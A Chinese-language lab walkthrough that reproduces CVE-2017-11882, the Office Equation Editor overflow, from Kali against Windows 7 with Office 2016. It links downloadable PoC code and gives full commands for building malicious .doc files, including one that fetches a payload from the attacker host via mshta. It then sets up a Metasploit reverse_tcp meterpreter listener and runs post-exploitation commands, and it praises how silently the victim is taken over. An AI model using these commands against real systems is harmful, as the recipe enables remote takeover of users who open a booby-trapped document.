此漏洞是由Office軟件里面的 [公式編輯器] 造成的,由於編輯器進程沒有對名稱長度進行校驗,導致緩沖區溢出,攻擊者通過構造特殊的字符,可以實現任意代碼執行。
舉個例子,如果黑客利用這個漏洞,構造帶有shell后門的office文件,當普通用戶打開這個office文件,則電腦可以被黑客直接控制。
影響版本:
office 2003
office 2007
office 2010
office 2013
office 2016
漏洞復現環境
Kali2017 + windows 7 + office 2016
滲透機:kali linux + POC代碼
靶機:Win 7 + Office 2016
實驗所需工具和代碼
鏈接: https://pan.baidu.com/s/1s9Br1e499ylB02urefEQKg 密碼: fx6p
在kali新建一個文件夾CVE-2017-11882,放進我們需要的poc代碼

生成word文檔11882.doc,打開doc文件之后,會彈出計算器(以此驗證offce漏洞)
root@kali:~/桌面/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o 11882.doc

生成word文檔11882-2.doc,打開doc文件之后,會彈出任務管理器(以此驗證offce漏洞)
root@kali:~/桌面/CVE-2017-11882# python CVE-2017-11882.py -c "cmd.exe /c taskmgr.exe" -o 11882-2.doc

再次查看,可以看到多了兩個doc文件

將文件拷貝到win7靶機上,並驗證結果

使用Word 2016打開第一個文件-11882.doc文件,查看效果:

成功彈出計算器。
使用Word 2016打開第二個文件-11882-2.doc文件,查看效果:

成功彈出事務管理器。
可以看到,由於Office2016存在CVE-2017-11882漏洞,當打開特殊構造的word文件時,windows會執行其他動作。
在kali linux 上構造帶有shell后門的word文件,並開啟監聽
首先,為了后續更好的管理和使用滲透代碼,可以將“shell.rb”,名稱修改為“cve-2017-11886.rb”

將CVE-2017-11882.rb拷貝到metasploit目錄中,這里拷貝到目錄/usr/share/metasploit-framework/modules/exploits/windows/smb
root@kali:~# cd /usr/share/metasploit-framework/modules/exploits/windows/smb root@kali:/usr/share/metasploit-framework/modules/exploits/windows/smb# cp ~/桌 面/CVE-2017-11882/CVE-2017-11882.rb CVE-2017-11882.rb

好的,我們已經將這個CVE-2017-11882.rb復制過去了。
進入Metasploit框架,
root@kali:~# msfconsole
搜索CVE-2017-11882:
msf > search CVE-2017-11882

使用CVE-2017-11882.rb模塊,開啟Meterpreter監聽會話:
使用模塊 msf > use exploit/windows/smb/CVE-2017-11882 設置tcp反彈會話 msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp 設置滲透機ip地址(這里通過ifconfig命令查看) msf exploit(CVE-2017-11882) > set lhost 192.168.190.130 設置路徑為11882,可自定義 msf exploit(CVE-2017-11882) > set uripath 11882 開啟滲透,進入監聽狀態 msf exploit(CVE-2017-11882) > exploit

使用CVE-2017-11882.py模塊,生成帶有shell的doc文件:
root@kali:~/桌面/CVE-2017-11882# python CVE-2017-11882.py -c "mshta http://192.168.190.130:8080/11882" -o 11882-3.doc

此時,CVE-2017-11882目錄中增加了另外一個word文件11882-3,而此文件的功能便是:打開它的電腦會反彈shell會話到控制機。

將文件11882-3.doc拷貝到靶機win7上面:

在Win7打開11882-3.doc文件,此時觀察Win7靶機和Kali Linux滲透機。
注:做這個實驗之前,首先要求滲透機Kali Linux和靶機Win7能夠聯通,例如在我的虛擬環境中,Kali Linux的ip地址是192.168.190.130,而Win7的地址是192.168.190.131,兩個虛擬機采用NAT網卡模式。

當靶機打開文件時,整個過程沒有任何彈框,也沒有其他異常動作,整個攻擊效果非常“優雅”,肉雞很難發現。
此時,在另一段的kali linux滲透機,已經獲取到shell會話。

通過命令sessions查看meterpreter會話:
msf exploit(CVE-2017-11882) > sessions

此后便可以通過meterpreter來對會話進行管理:
進入會話 msf exploit(CVE-2017-11882) > sessions 1 查看系統信息 meterpreter > sysinfo 查看當前用戶 meterpreter > getuid 截屏 meterpreter > screenshot

可以看到,安裝了最新office 2016版本的win7,因為CVE-2017-1182漏洞,當打開帶有shell后門的doc文件是,kali滲透機可以獲取到完美的后門並控制win7
實驗操作根據拼客院長陳鑫傑的實驗進行復現的https://zhuanlan.zhihu.com/p/35248996
